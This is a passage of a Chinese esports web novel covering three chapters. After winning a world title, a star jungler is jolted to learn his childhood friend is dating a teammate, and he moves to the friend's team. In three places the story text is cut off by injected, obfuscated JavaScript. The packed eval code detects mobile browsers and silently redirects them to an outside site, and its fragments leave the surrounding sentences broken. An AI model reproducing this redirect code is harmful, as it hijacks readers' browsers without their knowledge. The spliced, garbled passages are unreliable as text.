《如何抢回暗恋竹马指南[电竞]》 1. Chapter1 “Mesh的寡妇在上河道隐身,大龙还有25秒刷新,RN的辅助列娜塔走位有些靠前,队友离他有一些距离,他正要去排大龙真眼,有没有机会抓到他!”解说台上的解说攥紧双拳声音高亢。 S22总决赛LPL的NWG对战LCK的RN,此时比分2-2,BO5最后一局现在已经打到了37分钟,四个半小时的高压力比赛让场上的十个人绷紧神经,没有人敢贸然先手,对于此时而言双方都希望用最稳健的方式扩大优势。 “剑姬把下路线带出去,女警注意位置放夹子,泰坦看我,我从蓝buff绕过去,对面辅助要配合打野过来排眼了,他没闪,控到能秒。” 微哑的男声在耳麦中响起,廖望延这局比赛里没抬手喝过一口水,神经崩到极致。 四年了,这是他距离冠军最近的一次。 “明白延哥。”NWG的辅助TAN开启扫描往蓝色方上河道草丛走,他知道对面的辅助正在草里,且对面打野和中单大概率在后方不远处护航,双方辅助都有心勾引。 泰坦扫到夹角处的一颗假眼,抡着钩子一下下平A,寡妇被动隐身从上路绕到三狼,在三狼深处插了个眼后小心翼翼走到蓝buff墙处。 RN的辅助似乎发现泰坦落单,想要呼唤队友过来击杀泰坦,却不想自己刚走出草丛一瞬,一条深海船锚精准命中在他身上,泰坦QA的瞬间列娜塔头顶冒出一颗红色桃心正在充能,那是寡妇的W。 列娜塔顿感不妙想往回撤却被泰坦的E减速,此时头顶的红心已充能完毕,从自家野区冒出一个寡妇,一个Q魅惑到他,接上EQQ连招列娜塔血量瞬间没了大半。 中单发条和打野猪妹及时赶到想救队友,发条给列娜塔套上球盾的同时,寡妇海克斯腰带向前位移一小段接上cd转好的E,一个大招斩杀残血列娜塔位移回去,在发条大和猪妹Q的同时按下金身。 蓝方三狼和中路小兵处分别亮起NWG剑姬和RN奥恩的传送,泰坦闪现向前Q到猪妹接上大招击飞猪妹和发条,女警及时赶到放下夹子输出,NWG辛德拉也加入战场,双方短短几秒除了刚死掉的列娜塔以外九人皆卡在这个狭小的野区。 但因RN辅助被集火秒掉且发条大空,RN明白这波团已经不能再接,奥恩抬手呼唤羊来想减速NWG众人,却被辛德拉QE打断控住四人。 “控住了控住了,我控了四个!”NWG中单FLY怒吼道。 “nice!先秒发条和卡莎!”廖望延的寡妇挂上W闪现向前一套连招带走对方发条后被杀掉,但剩余队友也将卡莎和奥恩集火杀掉,只剩一个打野猪妹闪现后撤。 这波团战NWG1换4,胜利的天平已然斜到了他们姥姥家。 “不打大龙了!推!一波他们!就剩一个人了!”廖望延指挥队友一路推进拆掉中路高地和门牙塔,没有人管对方打野,都在拼命点基地。 蓝色方水晶爆掉的那一刹,NWG五人扔掉鼠标扯下耳机,互相拥抱着迎接从场馆上方落下的金色亮片,那是他们的冠军象征。 - 机场候机室沙发上,廖望延正低着头看手机,左臂被FLY搂住不时摇摆。 “延哥,FMVP回去不得请一顿好的,我要吃顶级和牛!”FLY一脸期待地看着他。 NWG今年拿了全年的大满贯,春季赛、春季季后赛、MSI、夏季赛、夏季季后赛、全球总决赛冠军都被收入囊中,FMVP还被廖望延拿下,请客是应该的。 但本该乐于此事的当事人此刻却不甚高兴。 夺冠当晚微信里无数的人对廖望延道贺,消息通知直接显示99+,这些消息中当然也包括了他自己的唯一一个置顶。 当他结束了所有事躺在酒店大床上,满怀愉悦准备和某人聊两句以传达自己胜利的喜悦时,聊天界面上的三条消息外加一个表情包直接把他气笑了。 【y:不愧让老子守着时差看了五个小时,没给我丢人。】 【y:冠军打野什么时候回来,给你接风洗尘。】 【y:顺便把我男朋友介绍给你。】 【y:小狗悄悄探头.jpg】 这几条消息在廖望延的手里反复看了上百遍。 就是挺不明白的,世界赛满打满算一个月,自己十多年的发小怎么突然直变弯还冒出了个男朋友。 从上飞机前就皱着的眉头到了下飞机还是没有舒展开。 NWG的战队经理老梁落后众人走到廖望延身旁,左臂搭着他的肩膀问:“怎么了?从没上飞机眉头皱得就能夹死一只蚊子,怎么下了飞机非但没好转反倒更严重了。” 廖望延恹恹回了句没事,老梁拍拍他的背:“发现问题就解决问题,打野选手就要统筹全局,找出破绽,扩大破绽,击溃破绽,从而获得胜利。这一套放在现实也是适用的,不要被对方牵着走,被运营等于等死。” 本来神色懒散的廖望延听见此话扭头上下打量了一下老梁,看着对方因为自己的注视而挺起胸膛等待夸奖,露出一个假笑说:“你的理论和实际操作不太匹配,匹配打出0-13的瞎子也能有这种人生感悟吗?” “放屁,一看你就没看到后面,老子最后7-14,要不是我最后一波关键的回旋踢踢回对面ad我们还赢不了呢。” 老梁一巴掌拍向廖望延后脑勺高声咆哮。 走在前面的NWG其余几人闻言皆帮腔调侃—— “那当然啦,没有老梁我们早就赢了,哪还用最后一波团让他踢出回旋踢啊。” “如果没有梁哥硬要帮我抓的那几波,我其实是有优势的。” “我比你们惨,梁哥三级带着红蓝buff来我上路送了一波,后来对面锐雯滚雪球揍我和揍儿子一样。” 老梁气得扔下一句你们都不懂我的运营愤然离去,一起带走的还有他7-14瞎子的自信。 等终于回到自家基地内,洗漱完的廖望延躺在床上抓起手机,思虑再三对着那三句话敲出回复—— 【Y:好好介绍。】 对面或许是正在玩手机,几乎是瞬间就给了回复。 【y:你回来了?】 【Y:嗯,刚到基地。】 【y:本来想约你今天吃饭,但是估计你应该挺累的,还是好好休息吧,咱们明天再约。】 【Y:不用,就今天。】 笑话,一个月没见就冒出了个男朋友,万一今天不见明天直接冒出个孩子怎么办。 虽然两个男人生不出孩子。 但那不是重点。 廖望延看着于琰发来的预定时间和饭馆定位,给自己手机定了个闹钟沉沉睡去。 天色由明至暗,等闹钟声从床头柜上响起时,房间只剩下窗外路灯照射进来的微光。 廖望延拧了拧眉心撑起身体,轻轻叹了口气。 这顿注定吃不饱的饭终于还是要来了。 拉开衣柜,他一反常态没有选择宽松舒适的长T休闲裤,扒拉了半天拽出一件黑色衬衫一条黑色西裤。 像是要去进行商务晚宴一样为自己带上衬衫夹与袖箍,廖望延对着镜子扫了扫肩膀上不存在的灰尘,捞起深棕色大衣出了卧室。 大厅里的众人都在聊天,看见廖望延一副准备出门的架势,老梁不解开口:“你干嘛去?” 廖望延套上大衣打开大门,在关门前轻飘飘落下几个字:“和于琰吃饭。” 待他关上入户门,客厅内的几人还愣了几秒,FLY首先回过神,捏着自己手里的矿泉水瓶咬牙说:“我的打野回国第一天就要和别队中单吃饭,这就像是电视剧里老公当着老婆的面要去和小三约会一样!我FLY此生与他于琰不共戴天!” 众人都没理戏精上身的FLY,毕竟廖望延和于琰是发小的事情,早在八百年前就人尽皆知。 大家都觉得:夺冠后和发小吃个饭,传递一下喜悦很正常嘛。 [如果没有第三个人就好了。] 刚停完车准备进店的廖望延站在于琰和他男友的不远处面无表情的想。 他没想到,困扰了自己一天一夜的于琰的男朋友,居然就是于琰同队的打野—— 钟络。 于琰在看见廖望延的第一时间就助跑扑向他,用理了美式前刺的头埋进他的颈窝用力蹭了蹭,双手攥拳锤了两下他的后背才放开他。 “冠军打野屈尊降贵来和吾等屁民吃饭啦!今天沾了你这个冠军打野的喜气,明年我们HG也能大满贯。”于琰一脸揶揄地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445212|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>廖望延抬手揪了揪于琰的头发,听着于琰抱怨别动他刚做的发型,眼神转向前方的钟络。 自认为露出了得体微笑,他对钟络伸出右手:“廖望延,你也可以叫我Mesh。” 钟络抬起手回握了一下,用自我调侃的语气回道“延哥,咱俩就别装不熟了吧,你在召唤师峡谷单杀我的次数都能让我夜夜做噩梦了。” 廖望延挑挑眉:“该有的礼节还是得有的。” 于琰窜到钟络身边面对着廖望延笑着说:“对了阿延,虽然你俩认识,但我还是得重新介绍一下,钟络是——” “先进去再说吧,天儿挺冷的,我今天要风度不要温度,你们不能让冠军打野回国第一天就冻感冒吧。”廖望延打断于琰没说完的话,对着他偏头眨了眨眼。 于琰愣了愣,上下扫视了一眼廖望延的穿着,嘴里一边嘟囔着廖望延脑子有病一边扯着钟络的手往店里走,全然忘了自己刚才要说什么。 廖望延走在二人身后,低头看了看自己的穿着,又抬眼看了看前面两人牵着的手腕,自嘲似的摇摇头—— 要风度有什么用,都穿给瞎子看了。 三人落座后于琰左手翻着菜单和服务员点菜,右手倒了杯热茶。 眼睛虽然粘在菜单上手却像是装了定位器,伸着胳膊捏了捏廖望延的手背感受温度,然后将茶放在了他面前。 等服务员收起菜单离开包间,于琰顺手给自己也倒了杯茶,轻啄一口后自然地将茶水推到钟络手边。 他转头看向廖望延:“你个狗东西到底浪给谁看,刚才摸你的手和摸冰块一样,你不会是想着和我吃完这顿饭冻感冒了就能开直播卖惨让粉丝给你刷礼物吧!” 于琰下巴微微扬起,眯了眯眼盯着廖望延,一脸我已经看透你的表情。 廖望延听着于琰的话,眼神却放在了钟络面前的那杯茶上,杯子的使用者似乎对这种事做了很多次,微润的杯口对着钟络,包间灯光照下来,显得那一块杯口比其他地方更亮。 似是疑惑了两秒,廖望延才抬眼看向于琰:“我不用感冒他们也会给我刷礼物,因为我拿了冠军。” 闻言于琰瞪大了眼:“你在暗示我没有冠军低你一等是吧!我们HG虽然今年没能进世界赛,但是我们上限高!今年纯粹是不适应版本,等明年没准就是你在家看着我们夺冠了!” “是是是,谁赢不是赢呢,都哥们儿。明年还在家半夜守着电脑看比赛,等拿了二连冠我请你吃饭。”廖望延单手托腮对于琰扯起一个表面微笑。 于琰气得要起身打廖望延,却被钟络拽住左袖将他按住,安抚性地摸了摸于琰后背看向廖望延:“你们硬实力强过RN,今年冠军奖杯确实该你们捧,而且你们NWG的整体状态现在也正是最强的时候,明年拿双冠不是不可能。” “你多和他学学,多说人话少做梦。”廖望延抬着下巴示意于琰。 于琰此时正用筷子夹刚送上桌的蓝莓山药,闻言直接从中间拦腰夹断,咬着牙看廖望延:“我总有一天要让你和它一样被腰斩!” 钟络看着他们两个你来我往的斗嘴也不觉被忽视,伸筷夹了一只油焖大虾进碟子,用热毛巾擦了擦手,三下五除二剥出一个完整的虾肉,塞进于琰还在喋喋不休的嘴里。 于琰一下子静了下来,边嚼边示意钟络:“挺好吃嘿!你也尝尝。” 钟络笑着摇摇头,手上的动作不停:“之前我来这吃过一次,猜到了你会喜欢,快吃吧。” 廖望延听着他们的对话一言不发,垂着眼看自己面前崭新的碗碟出神。 “想什么呢你?吃啊,我好不容易请你一次,不吃你可亏了。”于琰斜眼看着廖望延,嘴里含糊着不解问道。 “人和猪最大的区别就是人能在食物面前控制自己的欲望,即便想吃了也会注意形象。”廖望延仍未抬眼,专注盯着碟子,吐出的话却让于琰差点呛到。 于琰摸着胸脯顺气,举起筷子指着廖望延,筷子尖儿都气得微微颤抖:“你今天是不是少阴阳我一句就完成不了kpi?平时没——” “我去个卫生间,你们先吃,失陪。” 廖望延打断于琰没说完的话,扶着桌子起身,椅子被腿顶得往后退,在地上发出刺耳的一声长响。 2. Chapter2 去卫生间洗了把脸,水将廖望延的头发微微打湿,他也没用纸擦。 看着水从发尾汇成珠子顺着脸往下滑,廖望延眯眼点了根烟,对着镜子三两口嘬完扔进垃圾桶。 临走前廖望延扯了两张纸擦手,仰头深吸了一口气。 “要冷静。”廖望延对自己说。 回到包间坐下,看着于琰刚添了一碗米饭正捧着碗夹菜,廖望延轻嗤:“HG不给你饭吃?” 于琰赶紧咽下嘴里的饭菜回怼:“老子这叫吃得好睡得香,跟你一样吃鸟食早晚要饿出病来。” 廖望延挑挑眉没吭声,伸筷子想夹桌上剩下的半块蓝莓山药,又似突然想到了什么在中途收回,将筷子放回瓷盘上,发出叮的一声响。 于琰眼看着他的动作,大大地翻了个白眼,自己伸筷子将那半块夹进了他盘子里。 收回筷子自己又塞了一口牛肉含糊着说:“怎么着?吃饭还非得爸爸喂你?” 廖望延低头看着自己的盘子好几秒,问出了今晚他最不想问的问题:“你俩什么关系?” 他语气平静声调自然,像是没在问于琰,而是在自言自语。 “啊?”于琰被这突如其来的切入正题问得愣了一下。 钟络从桌下拍了拍于琰的腿,示意由自己来说,于琰清了清嗓放下碗没吱声。 “延哥,我们在谈恋爱。” 钟络顿了顿又继续说:“夏天开始的,不是故意没告诉你,一开始确定关系还不稳定,我们两个商量过后就决定相处一阵子再和大家说。” 凭心而论,钟络这话说的没什么问题,但廖望延还是听得心里头冒火。 廖望延面无表情眼神直直盯着钟络:“夏天?夏天什么时候?夏季赛的时候还是季后赛的时候?一开始不稳定现在已经稳定了?有没有想过这种关系会影响你们的职业水准?想没想过被发现后的舆论?你们的队友现在知道你们两个的关系吗?他们是什么态度?你的家庭知道你的性取向吗?他们同意吗?于琰你的家庭应该不知道吧,你准备什么时候和叔叔阿姨说?” 廖望延冷着脸砸出一堆问题,最后一句明明问的是于琰,眼睛却一直盯的是钟络。 于琰被问懵了,钟络也懵了,两个人互相对视一眼,还是于琰磕磕巴巴地开了口:“季后赛的时候在一块的,队友还都不知道,你是第一个,时间太短我们也没想过和家里人说。” 廖望延不知道该不该高兴于自己是第一个知道这段恋爱关系的,只觉得这顿饭果然不该来吃,一筷子没伸自己也要饱了。 怎么饱?气的。 如果是季后赛的话,就算他们从8月初开始,现在11月,满打满算也就三个月,甚至大概率还不满三个月。 这就敢和他说? 叹了口气,廖望延将眼神从钟络转到于琰脸上:“什么时候发现自己取向是男生的?” “主要我以前没喜欢过谁,不知道自己到底性取向是什么,没瞒过你。”于琰说话声越来越小,眼睛偷偷瞄廖望延。 廖望延很少对他展现出这种严厉的神色,大多数时候他都懒散着像是对什么都不上心的样子。 “没喜欢过谁…”廖望延低声重复了一遍这句话,除了自己没人听见。 三秒后他将眼神转向钟络。 “你们两个的事,我是外人没法置喙。我只希望你们不要因为关系转变影响职业成绩。” 廖望延看了一眼于琰继续说:“你们今年的成绩我坦言并不好,是你们所说的版本原因也好其他也罢,我都不关心。我只关心于琰是否能在比赛里取得他满意的结果,现在他满不满意我不知道,但我不满意,你明白吗?” 廖望延知道自己这话有点重,不然也不会看了一眼于琰,可是有些问题就是要搬到台面上讲,不然等以后后悔再说就来不及了。 “我明白,明年我们一定会努力的。”钟络知道这种时候必须给出保证,毕竟他和于琰也确实是把成绩放在第一位,不希望被廖望延误解。 廖望延突然觉得哑口无言,不知道自己该继续说什么,只觉得烟瘾又要犯了,只好叹了口气开口:“我出去抽根烟,你们先吃着,不用出来找我,我一会就回来。” 屁股还没坐热,廖望延就又拿着烟出了门。 这次他径直走出饭馆在路边站定,低头叼出一根烟,左手拢住烟尾,右手按下火机,眯着眼看火焰点燃烟草,冒出向上徐徐缭绕的白烟。 牙齿微微用力咬开柑橘味的爆珠深深吸入一口,右手拇指和食指贴着嘴唇取下烟嘴,左手成拳塞在裤兜里,微微仰头吐出过肺的雾。 [不该在房间里那样说的。] 廖望延看着漆黑如墨的天这么想着。 自己看似是在为于琰着想,实则狗屁不是。 人家两个小情侣甜甜蜜蜜,自己非要装成爱护孩子的好家长一样疾言厉色干什么呢,实际上只要诚心祝福就好了,两个人都还年轻,有试错的资本,又有什么关系呢。 “又和你有什么关系呢。”他低声喃喃。 [还不是你自己有私心。]心里的声音说。 “当然有关系,你可是廖望延。”从背后冒出声音。 廖望延紧了紧攥拳的左手却没回头,抬手吸了一口烟:“不是说了不用找我么。” 于琰走到廖望延身边,偏过身子用食指勾着廖望延的袖箍用力往外拉,下一秒收回手指听着袖箍回弹打到皮肉上的一声闷响。 从鼻子里哼了一声正过身子,他学着廖望延抬眼看天。 “看你拿烟就知道我得出马了,这种天气穿成这样当电线杆,是我给你气到体内生出火灵根从此不畏寒了?” “嗤,少看点玄幻小说多打打排位吧。”廖望延轻讽。 于琰撇撇嘴,左臂勾着廖望延的脖子把他的头往下按。 这个动作扯得廖望延微微弯腰将耳朵贴在于琰胸口上,能清晰听见他体内咚咚有序的心跳声。 于琰借着此时的身高差狠狠揉了几把廖望延的头发,将他打理好的狼尾硬是揉成了四不像。 “我知道你为我好,也知道不该在这种没成绩的时候谈恋爱,况且还是和队友谈。所以这两个多月我们都在加倍训练,以求明年能拿个更好的成绩。” 于琰伸手从廖望延的衣兜里掏出烟熟练的给自己点上,吐出一口继续说:“我只是单纯的想告诉你我谈恋爱了。其实我谈的第一天就想告诉你,但当时正在打季后赛,我不想影响你,后来你们又成了第一种子准备世界赛,拖着拖着就到了现在。” 把心里所想都说出来后,于琰状似轻松地开口:“怎么还是万宝路柑橘,这么多年了从你开始抽烟就是它,你也不嫌腻。” “不想抽还给老子,少逼逼。” “抽你根烟看看你那小气吧啦的样子,一会就给你打火机顺走。” “你以为我为什么现在都用一块钱一个的火机?” “……” 二人在门口站了十多分钟,离开后只留下垃圾桶里的四五支烟屁股。 回屋后的三人似乎都觉得有些尴尬,谁也没再提之前的话题。 这顿饭以于琰吃得小肚溜圆而结束。 等送走于琰和钟络,廖望延挂上档把踩下油门,45分钟的车程只用了30分钟就开回基地。 冲了个热水澡,发梢还在向下滴水,廖望延边擦头发边打开手机,朋友圈第一条就是于琰新鲜出炉的三张照片。 一张他懒散对着镜头比耶,一张他、于琰、钟络三人合照,一张满桌子的菜。 都是在问关系之前拍出来的。 配文:吸走FMVP的所有运气,明年我将是大满贯获得者! 点了个冠军の赞后扔下手机,廖望延将自己塞进被子枕着双手,还没吹干的头发濡湿手心。 [不行,这样下去绝对不行。] 廖望延心里这样想着,随即一个鲤鱼打挺起身重新抓起手机,打开与HG经理的对话框。 【Y:哥,咱们再聊聊?】 【182清纯男大:好啊!!!!】 【182清纯男大:之前和你聊的时候你还没夺冠,现在的薪资肯定是不足以吸引你了,晚点我会和老板沟通完再给你准确数字,但是其他待遇不变。】 【Y:队里的打野知道要买人吗?】 【182清纯男大:当然。季后赛成绩出来不久,我们就和选手谈过这个事情。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445213|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【Y:ok,那我们明天下午三点House咖啡详谈?】 【182清纯男大:[小手一捏,完全ok].jpg】 【Y:ok】 刚刚定好明天的行程,老梁也发来消息。 【梁山好汉:明天睡醒联系我,找你有点事。】 廖望延挑挑眉,看来事情都要赶到一起了。 - 翌日。 廖望延昨晚看着窗户外的深空睡着没拉窗帘,成功被刺眼的阳光晒醒。 他不耐烦地转了个身,用被子盖过头顶,没过几分钟又被闷得喘不过气,索性一把掀开被子坐了起来。 揉了揉凌乱的头发翻身下床,睡眼惺忪站在卫生间镜子前,嘴里还含着牙刷,拨通了老梁的电话。 “醒了?” “嗯,昨天晚上不是说找我有事?” “十分钟以后来你卧室谈。” “行。” 廖望延将手机放在陶瓷洗脸台上,吐出嘴里的牙膏沫,心里对老梁的来意有了判断。 洗漱完毕正靠在床头玩手机,响起短促的三下敲门声。 “进。”廖望延抬眼看向门口,“我都知道你要来了还敲什么门。” “那不行,谁知道我突然推门进来会不会看见什么不该看见的东西。”老梁笑着说。 “你这么急着找我,是续约的事儿吧?” “就知道你猜到了。”老梁拉开椅子,对着廖望延坐下。 “你在NWG四年,这里也算是你的家了。今年拿了大满贯的情况下,上面的意思是在你现在年薪的基础上再加500w,也就是税前1200w。” “你知道的,现在联盟有工资帽,外援顶薪差不多1500w,咱们内部本土选手肯定要比外援低,这已经是我给你争取来的最高价了,你看看你的意向如何。”老梁搓了搓手。 廖望延捏着手机顿了几秒开口:“其他人呢?” 老梁:“下路两个人的合同还没到期,明年肯定会在队里。CC不续了。FLY应该会再续一年,他说一个冠军没赢够。” 廖望延被逗笑,刚睡醒不久的嗓音还带着点哑。 CC是他们队里的上单,好的国产上单本来就很抢手,拿了冠军后估计很多队伍都在争抢他。 盯着老梁好几秒,把他看得直发毛,廖望延才开口:“老梁,我现在没法给你个准确的回复,但我认为你们可以开始找心仪的打野了。” “啥?你啥意思?不续了啊?那你想去哪啊?”老梁似乎没想到自己只是走个过场,但廖望延却没有续约的想法,他还以为廖望延100%的会留在NWG。 “不好说,最近有不少队都在联系我,我也在考虑当中,但我也不怕告诉你,我比较心仪HG。”廖望延回。 “不是,你放着三个冠军队友不选,放着1200w工资不要,你要去HG?他们今年季后赛第五,连去世界赛的资格都没有!我知道你和于琰关系好,但是人家战队里的打野也还行啊,你去了让人家坐饮水机位?你是不是脑子里的弦搭错了?我现在把你脑子掰开给你重新搭还来得及吗?”老梁感觉自己已经在崩溃的边缘徘徊了。 廖望延反驳他:“别这么说,这不是我选不选的事,即使不是我,他们的实力也能打出好成绩,今年的冠军并不是我一个人的功劳。” “而且1200w工资这个事也不能这么论,我一个大满贯打野,不管哪个队给我的报价也不会少。HG今年成绩是一般,但是队伍里的个人能力都很强,只是需要一个助推剂把他们的特长发挥到极致。虽然他们有打野,可比赛不是谁牛谁上吗,打不过我就坐饮水机旁边去呗。” 廖望延一口气说了一堆话,直接把老梁说懵了。 他双手用力拍拍脸,试图让自己更清醒一点,嘴唇哆嗦着问廖望延:“决定好了?” 廖望延没点头,老梁刚要庆幸,就看见他对自己摇着手机说:“都说了现在没法给你准确回复,下午等我见完HG的人才能告诉你。” 老梁的天塌了。 谁来拯救一个五分钟前信心满满五分钟后霜打黄瓜的老梁? 反正不是廖望延。 3. Chapter3 下午三点的咖啡馆。 廖望延坐在靠窗的位置点了一杯拿铁,偏头看向窗外满地金黄的落叶出神,阳光直射进店里,暖意照得人犯困。 刚闭上眼想眯一会,就听见咖啡馆玻璃门上方铃铛的轻响和一串脚步声,脚步声终止于自己的面前,他忍着困意微微睁开左眼,出现在自己眼前的是一条黑色皮裤。 “……”廖望延暗自腹诽辣眼睛,稍稍低头又看见一双棕色豆豆鞋,睁开的左眼立刻闭上,心里默念希望明天别长针眼,深吸一口气抬头看向来人的脸。 “Mesh你好,我是HG的经理,你可以叫我Peter。”一张30来岁的国字脸笑着对他说。 “182…清纯…男大?”廖望延沉默了两秒问。 “出门在外身份都是自己给的,别怀疑。”国字脸和他握握手,于他对面落座。 “咱们直接进入正题吧,HG今年的成绩不算太理想,所以我们希望招募一个个人能力非常强且有领导能力的人加入。我们的打野Clock今年表现不算很出彩,本来是想从二队提一个上来进行轮换竞争的,但老板非常希望明年能打出成绩,给了比较大的资金支持,所以我当初才来和你联系。” “昨晚和你谈完我就去和老板争取了,HG这边能给到你1150w的年薪,如果你有意向来HG,你后续的代言和直播收益等等HG也愿意降低百分比提成。”国字脸从公文包里掏出合同推向廖望延。 廖望延低头翻了翻合同,合上后和国字脸说:“HG的条件我清楚了,我失陪一下去打个电话。” 走出咖啡店,廖望延给老梁拨了过去。 “喂?” “梁哥,你们找打野吧。” “什么玩意?!这就定好了?!” “你这么震惊干什么,早上和你说完你应该有准备了啊。” “那能一样吗!!!” “现在时间还早,你们有大把时间选择优质打野,多和我浪费一秒你就少了一秒钟选择空间。” “靠!老子以后找你算账。” 挂断电话廖望延回到咖啡馆,拿起黑色签字笔签上自己的大名按上手印,将合同推回国字脸面前:“祝我们未来的一年合作愉快。” “未来一年我都会是这个世界上最愉快的小男孩。”国字脸从看着廖望延拿起签字笔的那一刻嘴角就以光速咧开。 收下合同后他对着窗外的太阳在身前比了个十字然后双手合十放在脸前,亲吻两根拇指,双眼紧闭脑袋微抬,嘴里振振有词:“玉皇大帝观音菩萨耶稣大人在上,有你们的保佑我才能这么顺利签到合同,等回基地我就给耶稣大人上香,给大帝和菩萨祷告,以表国柱虔诚的心!” 廖望延不知道该吐槽他信的太复杂,还是该吐槽他参拜的方式,这个人浑身上下从里到外都是槽点。 无意冒犯别人的信仰,廖望延张口:“Peter哥,既然合同签完了,那我就先回去了。” 国字脸闻言停下自己的祷告,对他点点头:“反正总决赛也打完了,你好好休息几天,等你收拾好了准备搬过来的时候随时联系我,我开车载你去基地。” 廖望延一口闷了剩下的拿铁,和国字脸一同走出咖啡馆后分开。 回到基地的廖望延倚在沙发上玩手机,正好遇见上单CC从卧室出来。 CC将吃剩的外卖袋塞进垃圾桶,也顺势窝在了沙发里,看着廖望延没有搭话的欲望主动开口:“延哥,你还续吗?” 廖望延猜到了。 “拿了冠军打出了身价,去追求其他的没问题,不用瞎想。”廖望延没正面回应,但也算给了CC开口的话头。 “我就是觉得大家在一块拿了冠军挺高兴的,其他人都续了,就显得我很自私。”CC苦恼道。 “这有什么自私的,你是来打比赛赚荣誉挣钱,不是富家公子出来做公益,我知道你怎么想的,所以刚刚才那么说。”廖望延没抬头,盯着手机说。 “说什么?让我也听听。”FLY推开卧室门去冰箱拿了一听可乐,伸了个懒腰问。 “啊…没什么。”CC挠了挠头。 廖望延扣下手机放在大腿,看着FLY平静地说:“CC转会了,看你们都续了怕你们怪他不讲义气。” “延哥你怎么知道!” “什么玩意?CC你居…”CC和FLY同时开口,但FLY话还没说完就被廖望延截下。 “我也不续了。”廖望延说。 FLY直接扔了可乐扑向廖望延,像八爪鱼一样用四肢缠着他,将脸埋在他胸口闷声道:“我还想和你们再拿一个大满贯呢,怎么就都要走了,我们维持原班人马不好吗?别的队伍哪能有咱们之间的默契啊,扔下我这种顶级中单你们也舍得?” CC没回话,问廖望延:“延哥你要去哪?” 廖望延搂着FLY揉了揉那颗扎手的栗子头回:“HG。” FLY猛地抬头,廖望延一时不查被他撞到下巴发出“嘶”的一声,FLY立刻磕磕巴巴地问:“延…延哥,你没事吧?” 廖望延摇摇头揉了揉下颌:“不续约就想撞死我?你挺歹毒啊。” FLY又一头扎回去,不情不愿地说:“于琰哪比得上我,虽然我被他单杀过几次,但是我比他温柔比他体贴比他会粘人啊。” “我是打比赛,不是找对象。”廖望延无奈地说:“天下无不散之筵席,总不能等我以后打不动退役了还要带着你一起回家吧。” “那怎么不行?” “别贪图你哥我的身子了行吗小飞。” “呜…我就不!” 消息一传二二传十,十五分钟以后廖望延面前围满了人。 “我是得了绝症明天就要去世了吗你们这么守着我?”廖望延无语看天。 没人回话,大家都用死鱼眼瞪着他。 廖望延只好推开身边众人,以迅雷不及掩耳之势逃回自己房间。 倚在门上舒了口气,廖望延掐了掐眉心,掏出手机给于琰打去微信视频。 视频界面亮起,于琰带着耳机露出一边耳朵,将手机支在自己面前,眼盯电脑手搭键盘问:“吾儿何事寻父?” “……挂了。” “欸欸欸别啊,你这人怎么这么开不起玩笑,啥事啊?” “没事。” 于琰震惊,低头看向廖望延:“闲了就吃点溜溜梅呢?” 廖望延回:“我一开始就说挂了,是你非要再问一遍。” “不是哥们儿?谁知道你是真闲的放屁啥事没有啊,你这不是浪费我们基地网速呢吗。”于琰摘了耳机准备和廖望延大吵一番。 廖望延眨眨眼,在于琰即将说出更多的话的时候果断按下挂断。 舒服了。 自己被折磨,就要换种方式折磨回来。 另一头的于琰被莫名其妙打来又莫名其妙挂断的视频气到,关掉贪吃蛇电脑版,抓起手机用九宫格飞快输入。 【y:你丫是不是有毛病啊?】 【y:没事干你就拆一箱苏打饼干数数上面有多少孔。】 【y:老子贪吃蛇已经粗到快占据整个屏幕了,你一个视频害老子死了,你怎么赔!】 于琰手指翻飞得再快点可能就能看见和屏幕摩擦出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445214|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的火花了。 “叮”的一声,廖望延的回复来了。 【杀人犯法:嘻嘻】 【杀人犯法:(●ˇ?ˇ●)】 于琰感觉自己的后脑勺烧起来了,冲向基地会客区沙发上的吉祥物就来了一通乱拳。边打边骂:“老子真想拿着榔头给你后脑勺来一下子,让你知道知道什么叫天旋地转立刻投胎!” 一旁的邵乖捂着嘴偷偷问左星水:“水哥,狂犬病能治吗?” 左星水笑着轻拍了一下邵乖的额头:“别瞎说,一看就是又被Mesh气着了。你还有空看热闹,你昨天rank五连跪,上路放着好好的英雄不玩,非要玩什么星妈和女坦,你就等着姚哥骂你吧。” “老玩那些烦死了,我开发开发新英雄怎么了,以后我又能上路又能辅助,拿着一份工资打两份工,不香吗?要不水哥你练练纳尔鳄鱼什么的,以后我上辅双修,你上ad双修!”邵乖揉着额头说。 “免了,我对你的宏图大业实在没有兴趣。”左星水摇摇头,转头又按下了单排的按钮。 沙发上对着玩偶重拳出击的于琰终于打累了,仰躺在沙发上给钟络发消息。 【y:你干嘛去了?晚上给我带一份章鱼小丸子回来呗。】 